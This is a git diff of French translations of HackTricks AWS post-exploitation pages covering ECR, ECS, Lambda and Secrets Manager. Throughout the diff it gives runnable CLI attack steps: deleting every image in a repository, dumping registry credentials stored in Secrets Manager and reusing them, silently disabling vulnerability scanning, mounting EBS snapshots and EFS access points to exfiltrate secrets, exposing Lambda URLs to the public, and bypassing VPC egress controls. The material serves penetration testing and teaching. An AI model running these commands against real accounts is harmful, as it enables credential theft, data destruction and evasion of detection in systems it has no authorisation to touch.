Un attaquant disposant de l'une de ces permissions peut **créer ou modifier une politique de cycle de vie pour supprimer toutes les images du repository** puis **supprimer l'intégralité du repository ECR**. Cela entraînerait la perte de toutes les images de conteneur stockées dans le repository.
|
||||
Un attaquant disposant de l'une de ces permissions peut **créer ou modifier une lifecycle policy pour supprimer toutes les images du dépôt** puis **supprimer l'ensemble du dépôt ECR**. Cela entraînerait la perte de toutes les images de conteneurs stockées dans le dépôt.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -90,23 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Exfiltrer les identifiants des registres upstream depuis ECR Pull‑Through Cache (PTC)
|
||||
|
||||
### Exfiltrate les identifiants de registre upstream depuis ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Si ECR Pull‑Through Cache est configuré pour des registres upstream authentifiés (Docker Hub, GHCR, ACR, etc.), les identifiants upstream sont stockés dans AWS Secrets Manager avec un préfixe de nom prévisible : `ecr-pullthroughcache/`. Les opérateurs accordent parfois aux ECR admins un accès en lecture étendu à Secrets Manager, permettant la credential exfiltration et la réutilisation en dehors d'AWS.
|
||||
Si ECR Pull‑Through Cache est configuré pour des registres upstream authentifiés (Docker Hub, GHCR, ACR, etc.), les identifiants upstream sont stockés dans AWS Secrets Manager avec un préfixe de nom prévisible : `ecr-pullthroughcache/`. Les opérateurs accordent parfois aux administrateurs ECR un accès large en lecture à Secrets Manager, ce qui permet l'exfiltration des identifiants et leur réutilisation en dehors d'AWS.
|
||||
|
||||
Prérequis
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Énumérer les secrets PTC candidats
|
||||
Énumérer les secrets PTC potentiels
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Exporter les secrets découverts et analyser les champs communs
|
||||
Dump les secrets découverts et parse les champs communs
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
@@ -116,17 +114,17 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
Optionnel: valider leaked creds contre l'upstream (login en lecture seule)
|
||||
Optionnel : valider les leaked creds contre l'upstream (login en lecture seule)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Impact
|
||||
- La lecture de ces entrées Secrets Manager donne des identifiants de registre en amont réutilisables (nom d'utilisateur/mot de passe ou token), qui peuvent être abusés en dehors d'AWS pour récupérer des images privées ou accéder à d'autres dépôts selon les permissions en amont.
|
||||
- La lecture de ces entrées Secrets Manager fournit des identifiants réutilisables du registre upstream (nom d'utilisateur/mot de passe ou token), qui peuvent être abusés en dehors d'AWS pour récupérer des images privées ou accéder à des dépôts supplémentaires selon les permissions upstream.
|
||||
|
||||
|
||||
### Furtivité au niveau du registre : désactiver ou réduire l'analyse via `ecr:PutRegistryScanningConfiguration`
|
||||
### Dissimulation au niveau du registre : désactiver ou rétrograder le scan via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Un attaquant disposant des permissions ECR au niveau du registre peut silencieusement réduire ou désactiver l'analyse automatique des vulnérabilités pour TOUS les dépôts en définissant la configuration d'analyse du registre sur BASIC sans aucune règle scan-on-push. Cela empêche les nouveaux push d'images d'être analysés automatiquement, masquant des images vulnérables ou malveillantes.
|
||||
Un attaquant disposant de permissions ECR au niveau du registre peut réduire silencieusement ou désactiver l'analyse automatique des vulnérabilités pour TOUS les dépôts en définissant la registry scanning configuration sur BASIC sans aucune règle scan-on-push. Cela empêche les nouvelles pushes d'images d'être analysées automatiquement, dissimulant des images vulnérables ou malveillantes.
|
||||
|
||||
Prérequis
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
@@ -134,7 +132,7 @@ Prérequis
|
||||
- ecr:PutImageScanningConfiguration (optionnel, par dépôt)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (vérification)
|
||||
|
||||
Rétrogradation au niveau du registre vers manuel (pas d'analyses automatiques)
|
||||
Rétrogradation à l'échelle du registre vers manuel (pas d'analyses automatiques)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
@@ -161,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
Optionnel : dégrader davantage au niveau du dépôt
|
||||
Optionnel : dégrader davantage à l’échelle du dépôt
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -170,21 +168,21 @@ aws ecr put-image-scanning-configuration \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Impact
|
||||
- Les nouveaux pushs d'images dans l'ensemble du registre ne sont pas scannés automatiquement, réduisant la visibilité du contenu vulnérable ou malveillant et retardant la détection jusqu'à ce qu'un scan manuel soit lancé.
|
||||
- Les nouvelles images poussées dans le registre ne sont pas analysées automatiquement, réduisant la visibilité du contenu vulnérable ou malveillant et retardant la détection jusqu'à ce qu'une analyse manuelle soit lancée.
|
||||
|
||||
|
||||
### Rétrogradation du moteur de scan à l'échelle du registre via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
### Dégradation du moteur de scan à l'échelle du registre via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Réduisez la qualité de détection des vulnérabilités sur l'ensemble du registre en changeant le moteur de scan BASIC du moteur par défaut AWS_NATIVE vers le moteur hérité CLAIR. Cela n'empêche pas les scans, mais peut modifier de manière significative les résultats/couverture. Combinez avec une configuration de scan de registre BASIC sans règles pour rendre les scans uniquement manuels.
|
||||
Réduisez la qualité de détection des vulnérabilités sur l'ensemble du registre en basculant le moteur de scan BASIC du défaut AWS_NATIVE vers l'ancien moteur CLAIR. Cela n'empêche pas l'analyse mais peut modifier de manière significative les résultats/la couverture. Combinez avec une configuration de scan BASIC du registre sans règles pour rendre les analyses uniquement manuelles.
|
||||
|
||||
Requirements
|
||||
Prérequis
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Impact
|
||||
- Le paramètre du registre `BASIC_SCAN_TYPE_VERSION` est défini sur `CLAIR`, de sorte que les scans BASIC suivants s'exécutent avec le moteur dégradé. CloudTrail enregistre l'appel API `PutAccountSetting`.
|
||||
- Le paramètre du registre `BASIC_SCAN_TYPE_VERSION` est réglé sur `CLAIR`, de sorte que les scans BASIC suivants s'exécuteront avec le moteur dégradé. CloudTrail enregistre l'appel API `PutAccountSetting`.
|
||||
|
||||
Steps
|
||||
Étapes
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
@@ -203,4 +201,4 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
# AWS - ECS Post-exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
### Rôles IAM de l'hôte
|
||||
|
||||
Dans ECS, un **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
|
||||
|
||||
{{#ref}}
|
||||
@@ -20,7 +20,7 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Notez que si l'instance **EC2** applique IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **response of the PUT request** aura un **hop limit of 1**, rendant impossible l'accès aux EC2 metadata depuis un container à l'intérieur de l'EC2 instance.
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
@@ -33,12 +33,12 @@ Furthermore, the **EC2 instance role** will usually have enough **permissions**
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
La même technique peut être réalisée en **deregistering the EC2 instance from the cluster**. C'est potentiellement moins discret mais cela va **force the tasks to be run in other instances:**
|
||||
La même technique peut être effectuée en **désenregistrant l'instance EC2 du cluster**. C'est potentiellement moins discret mais cela **forcera les tasks à s'exécuter sur d'autres instances :**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Une technique finale pour forcer la réexécution des tâches consiste à indiquer à ECS que la **tâche ou le conteneur a été arrêté(e)**. Il existe 3 API potentielles pour cela :
|
||||
Une dernière technique pour forcer la ré-exécution des tasks consiste à indiquer à ECS que le **task ou container a été arrêté**. Il existe 3 API potentielles pour le faire :
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -52,34 +52,36 @@ aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Voler des informations sensibles depuis des conteneurs ECR
|
||||
|
||||
L'instance EC2 aura probablement également l'autorisation `ecr:GetAuthorizationToken`, lui permettant de **télécharger des images** (vous pouvez y rechercher des informations sensibles).
|
||||
L'instance EC2 disposera probablement aussi de l'autorisation `ecr:GetAuthorizationToken`, lui permettant de **télécharger des images** (vous pourriez y chercher des informations sensibles).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Monter un snapshot EBS directement dans une tâche ECS (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Abusez l'intégration native ECS EBS (2024+) pour monter le contenu d'un snapshot EBS existant directement dans une nouvelle tâche/service ECS et lire ses données depuis l'intérieur du conteneur.
|
||||
|
||||
|
||||
### Monter un snapshot EBS directement dans une task ECS (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Abusez de l'intégration native ECS ↔ EBS (2024+) pour monter le contenu d'un snapshot EBS existant directement dans une nouvelle task/service ECS et lire ses données depuis l'intérieur du container.
|
||||
|
||||
- Nécessite (minimum) :
|
||||
- ecs:RegisterTaskDefinition
|
||||
- Un des : ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- L'un de : ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole sur :
|
||||
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles référencés par la task definition
|
||||
- Si le snapshot est chiffré avec une CMK : permissions KMS pour le rôle infra (la AWS managed policy ci-dessus inclut les KMS grants requis pour les clés gérées par AWS).
|
||||
- Si le snapshot est chiffré avec une CMK : permissions KMS pour le rôle d'infra (la AWS managed policy ci‑dessus inclut les KMS grants requis pour les clés gérées par AWS).
|
||||
|
||||
- Impact : Lire des contenus arbitraires du disque depuis le snapshot (par ex. fichiers de base de données) à l'intérieur du conteneur et exfiltrer via le réseau/logs.
|
||||
- Impact : Lire le contenu arbitraire du disque depuis le snapshot (par ex., fichiers de base de données) à l'intérieur du container et exfiltrate via network/logs.
|
||||
|
||||
Steps (Fargate example) :
|
||||
Étapes (exemple Fargate) :
|
||||
|
||||
1) Créer le rôle d'infrastructure ECS (s'il n'existe pas) et attacher la managed policy :
|
||||
1) Créer le ECS infrastructure role (s'il n'existe pas) et attacher la managed policy :
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Enregistrer une task definition avec un volume marqué `configuredAtLaunch` et le monter dans le container. Exemple (affiche le secret puis reste en veille) :
|
||||
2) Enregistrer une task definition avec un volume marqué `configuredAtLaunch` et le monter dans le container. Exemple (affiche le secret puis dort):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -99,7 +101,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Créer ou mettre à jour un service en passant le snapshot EBS via `volumeConfigurations.managedEBSVolume` (requiert iam:PassRole sur le rôle infra). Exemple :
|
||||
3) Créez ou mettez à jour un service en passant le snapshot EBS via `volumeConfigurations.managedEBSVolume` (requiert iam:PassRole sur le rôle infra). Exemple:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -113,12 +115,12 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Lorsque la tâche démarre, le conteneur peut lire le contenu de l'instantané au point de montage configuré (p. ex., `/loot`). Exfiltrer via le réseau/les logs de la tâche.
|
||||
4) Lorsque la task démarre, le container peut lire le contenu du snapshot au mount path configuré (e.g., `/loot`). Exfiltrate via the task’s network/logs.
|
||||
|
||||
Nettoyage:
|
||||
Cleanup:
|
||||
```bash
|
||||
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,18 +1,20 @@
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
|
||||
|
||||
Abuser de `lambda:UpdateFunctionConfiguration` pour attacher un EFS Access Point existant à une Lambda, puis déployer un petit code qui liste/lit des fichiers depuis le chemin monté afin d'exfiltrer des shared secrets/config auxquels la fonction n'avait pas accès auparavant.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Exploiter `lambda:UpdateFunctionConfiguration` pour attacher un EFS Access Point existant à une fonction Lambda, puis déployer un code trivial qui liste/ lit les fichiers depuis le chemin monté pour exfiltrer des secrets/config partagés auxquels la fonction n'avait pas accès auparavant.
|
||||
|
||||
## Prérequis
|
||||
- Permissions sur le compte/principal victime:
|
||||
- Permissions sur le compte/principal de la victime :
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:ListFunctions` (to find functions)
|
||||
- `lambda:ListFunctions` (pour trouver des fonctions)
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `lambda:InvokeFunction`
|
||||
- `efs:DescribeMountTargets` (to confirm mount targets exist)
|
||||
- Hypothèses sur l'environnement:
|
||||
- La Lambda cible est configurée pour utiliser un VPC et ses subnets/SGs peuvent atteindre le SG de la cible de montage EFS via TCP/2049 (p. ex. le rôle a AWSLambdaVPCAccessExecutionRole et le routage VPC le permet).
|
||||
- L'EFS Access Point se trouve dans le même VPC et possède des mount targets dans les AZs des subnets de la Lambda.
|
||||
- `efs:DescribeMountTargets` (pour confirmer que des mount targets existent)
|
||||
- Hypothèses d'environnement :
|
||||
- La Lambda cible est VPC-enabled et ses subnets/SGs peuvent atteindre l'EFS mount target SG sur TCP/2049 (p.ex. le rôle a AWSLambdaVPCAccessExecutionRole et le routage VPC le permet).
|
||||
- L'EFS Access Point est dans le même VPC et a des mount targets dans les AZs des subnets Lambda.
|
||||
|
||||
## Attaque
|
||||
- Variables
|
||||
@@ -21,7 +23,7 @@ REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
EFS_AP_ARN=<efs-access-point-arn>
|
||||
```
|
||||
1) Attacher l'EFS Access Point à la Lambda
|
||||
1) Attacher l'EFS Access Point à la fonction Lambda
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
@@ -30,7 +32,7 @@ aws lambda update-function-configuration \
|
||||
# wait until LastUpdateStatus == Successful
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
2) Écraser le code avec un lecteur simple qui liste les fichiers et lit les 200 premiers octets d'un fichier secret/config candidat
|
||||
2) Écraser le code avec un lecteur simple qui liste les fichiers et lit les 200 premiers octets d'un fichier secret/config candidat.
|
||||
```
|
||||
cat > reader.py <<PY
|
||||
import os, json
|
||||
@@ -62,13 +64,13 @@ until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --qu
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
|
||||
cat /tmp/efs-out.json
|
||||
```
|
||||
La sortie doit contenir la liste du répertoire sous /mnt/ht et un petit aperçu d'un fichier secret/de configuration choisi depuis EFS.
|
||||
La sortie doit contenir la liste du répertoire sous /mnt/ht et un petit aperçu d'un fichier secret/config choisi depuis EFS.
|
||||
|
||||
## Impact
|
||||
Un attaquant disposant des permissions listées peut monter arbitrairement des in-VPC EFS Access Points dans des fonctions Lambda victimes pour read and exfiltrate la configuration partagée et les secrets stockés sur EFS qui étaient auparavant inaccessibles à cette fonction.
|
||||
Un attaquant disposant des permissions listées peut monter arbitrairement des EFS Access Points in-VPC dans des Lambda functions victimes pour lire et exfiltrer la configuration partagée et les secrets stockés sur EFS, auparavant inaccessibles à cette fonction.
|
||||
|
||||
## Cleanup
|
||||
```
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,38 +1,40 @@
|
||||
# AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)
|
||||
# AWS - Lambda Function URL Exposition publique (AuthType NONE + Public Invoke Policy)
|
||||
|
||||
Transformer une Lambda Function URL privée en un endpoint public non authentifié en changeant l'AuthType de la Function URL sur NONE et en attachant une resource-based policy qui accorde lambda:InvokeFunctionUrl à tout le monde. Cela permet l'invocation anonyme de fonctions internes et peut exposer des opérations backend sensibles.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Abusing it
|
||||
Transformez une Lambda Function URL privée en un endpoint public non authentifié en basculant le Function URL AuthType sur NONE et en attachant une politique basée sur la ressource qui accorde lambda:InvokeFunctionUrl à tout le monde. Cela permet l'invocation anonyme de fonctions internes et peut exposer des opérations backend sensibles.
|
||||
|
||||
- Pré-requis : lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
## Exploitation
|
||||
|
||||
- Prérequis : lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
- Région : us-east-1
|
||||
|
||||
### Steps
|
||||
1) S'assurer que la fonction possède une Function URL (par défaut AWS_IAM) :
|
||||
### Étapes
|
||||
1) Assurez-vous que la fonction dispose d'une Function URL (par défaut AWS_IAM) :
|
||||
```
|
||||
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
2) Basculer l'URL en public (AuthType NONE) :
|
||||
2) Passez l'URL en public (AuthType NONE) :
|
||||
```
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
|
||||
```
|
||||
|
||||
3) Ajouter une resource-based policy pour autoriser des principaux non authentifiés :
|
||||
3) Ajoutez une déclaration de politique basée sur la ressource pour autoriser les principaux non authentifiés :
|
||||
```
|
||||
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
|
||||
```
|
||||
|
||||
4) Récupérer l'URL et invoquer sans identifiants :
|
||||
4) Récupérez l'URL et invoquez sans identifiants :
|
||||
```
|
||||
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
|
||||
curl -sS "$URL"
|
||||
```
|
||||
|
||||
### Impact
|
||||
- La fonction Lambda devient accessible de manière anonyme sur Internet.
|
||||
- La fonction Lambda devient accessible de manière anonyme via Internet.
|
||||
|
||||
### Example output (unauthenticated 200)
|
||||
### Exemple de sortie (200 non authentifié)
|
||||
```
|
||||
HTTP 200
|
||||
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
@@ -43,4 +45,4 @@ https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
|
||||
|
||||
Abuser de `lambda:PutRuntimeManagementConfig` pour épingler une fonction à une version de runtime spécifique (Manual) ou geler les mises à jour (FunctionUpdate). Cela préserve la compatibilité avec des layers/wrappers malveillants et peut maintenir la fonction sur un runtime obsolète et vulnérable pour faciliter l'exploitation et la persistance à long terme.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Pré-requis: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
Abuse `lambda:PutRuntimeManagementConfig` pour fixer une fonction sur une version runtime spécifique (Manual) ou geler les mises à jour (FunctionUpdate). Cela préserve la compatibilité avec des layers/wrappers malveillants et peut maintenir la fonction sur un runtime obsolète et vulnérable pour faciliter l'exploitation et assurer une persistance à long terme.
|
||||
|
||||
Exemple (us-east-1):
|
||||
Prérequis: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
|
||||
Exemple (us-east-1) :
|
||||
- Invocation: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- Geler les mises à jour: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- Vérifier: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
|
||||
En option, épingler à une version de runtime spécifique en extrayant le Runtime Version ARN des logs INIT_START et en utilisant `--update-runtime-on Manual --runtime-version-arn <arn>`.
|
||||
Vous pouvez éventuellement fixer (pin) sur une version runtime spécifique en extrayant le Runtime Version ARN des logs INIT_START et en utilisant `--update-runtime-on Manual --runtime-version-arn <arn>`.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,16 +1,18 @@
|
||||
# AWS Lambda – contournement de l'egress VPC en détachant VpcConfig
|
||||
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
|
||||
|
||||
Forcer une fonction Lambda à sortir d'un VPC restreint en mettant à jour sa configuration avec un VpcConfig vide (SubnetIds=[], SecurityGroupIds=[]). La fonction s'exécutera alors dans le plan réseau géré par Lambda, retrouvant l'accès sortant à Internet et contournant les contrôles d'egress appliqués par des sous-réseaux VPC privés sans NAT.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
|
||||
## Exploitation
|
||||
|
||||
- Prérequis: lambda:UpdateFunctionConfiguration sur la fonction cible (et lambda:InvokeFunction pour valider), plus les permissions pour mettre à jour le code/handler si vous les modifiez.
|
||||
- Hypothèses: la fonction est actuellement configurée avec VpcConfig pointant vers des sous-réseaux privés sans NAT (donc l'accès sortant à Internet est bloqué).
|
||||
- Région: us-east-1
|
||||
- Pré-requis : lambda:UpdateFunctionConfiguration sur la fonction cible (et lambda:InvokeFunction pour valider), plus les permissions pour mettre à jour le code/handler si vous les modifiez.
|
||||
- Hypothèses : La fonction est actuellement configurée avec VpcConfig pointant vers des sous-réseaux privés sans NAT (donc l'accès Internet sortant est bloqué).
|
||||
- Région : us-east-1
|
||||
|
||||
### Steps
|
||||
### Étapes
|
||||
|
||||
0) Préparez un handler minimal qui prouve que les requêtes HTTP sortantes fonctionnent
|
||||
0) Préparez un handler minimal qui prouve que l'HTTP sortant fonctionne
|
||||
|
||||
cat > net.py <<'PY'
|
||||
import urllib.request, json
|
||||
@@ -44,7 +46,7 @@ until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --qu
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
|
||||
cat /tmp/net-out.json
|
||||
|
||||
(Optional) Restore original VPC config
|
||||
(Optional) Restaurez la configuration VPC originale
|
||||
|
||||
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
|
||||
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
|
||||
@@ -52,12 +54,13 @@ aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config
|
||||
fi
|
||||
|
||||
### Impact
|
||||
- Récupère un accès Internet sortant non restreint depuis la fonction, permettant l'exfiltration de données ou du C2 depuis des workloads qui étaient intentionnellement isolés dans des sous-réseaux privés sans NAT.
|
||||
- Rétablit un accès Internet sortant non restreint depuis la fonction, permettant la data exfiltration ou du C2 depuis des workloads qui étaient intentionnellement isolés dans des sous-réseaux privés sans NAT.
|
||||
|
||||
### Example output (after detaching VpcConfig)
|
||||
### Exemple de sortie (après avoir détaché VpcConfig)
|
||||
|
||||
{"egress": true, "ip": "34.x.x.x"}
|
||||
|
||||
### Cleanup
|
||||
- Si vous avez créé des modifications temporaires du code/handler, restaurez-les.
|
||||
- Facultativement, restaurez le VpcConfig original sauvegardé dans /tmp/orig-vpc.json comme indiqué ci-dessus.
|
||||
### Nettoyage
|
||||
- Si vous avez créé des modifications temporaires au code/handler, restaurez-les.
|
||||
- Optionnellement, restaurez le VpcConfig original sauvegardé dans /tmp/orig-vpc.json comme montré ci-dessus.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
@@ -12,9 +12,9 @@ Pour plus d'informations, voir :
|
||||
|
||||
### Lire les secrets
|
||||
|
||||
Les **secrets** eux-mêmes sont des informations sensibles, [consultez la page privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) pour apprendre à les lire.
|
||||
Les **secrets eux-mêmes sont des informations sensibles**, [consultez la page privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) pour apprendre comment les lire.
|
||||
|
||||
### DoS — Changer la valeur du secret
|
||||
### DoS Changer la valeur du secret
|
||||
|
||||
En changeant la valeur du secret, vous pourriez **DoS tous les systèmes qui dépendent de cette valeur.**
|
||||
|
||||
@@ -28,19 +28,19 @@ aws secretsmanager put-secret-value \
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Si l'attaquant dispose de la permission secretsmanager:UpdateSecret, il peut configurer le secret pour qu'il utilise une KMS key appartenant à l'attaquant. Cette clé est initialement configurée de manière à ce que n'importe qui puisse y accéder et l'utiliser, ce qui rend possible la mise à jour du secret avec la nouvelle clé. Si la clé n'était pas accessible, le secret n'aurait pas pu être mis à jour.
|
||||
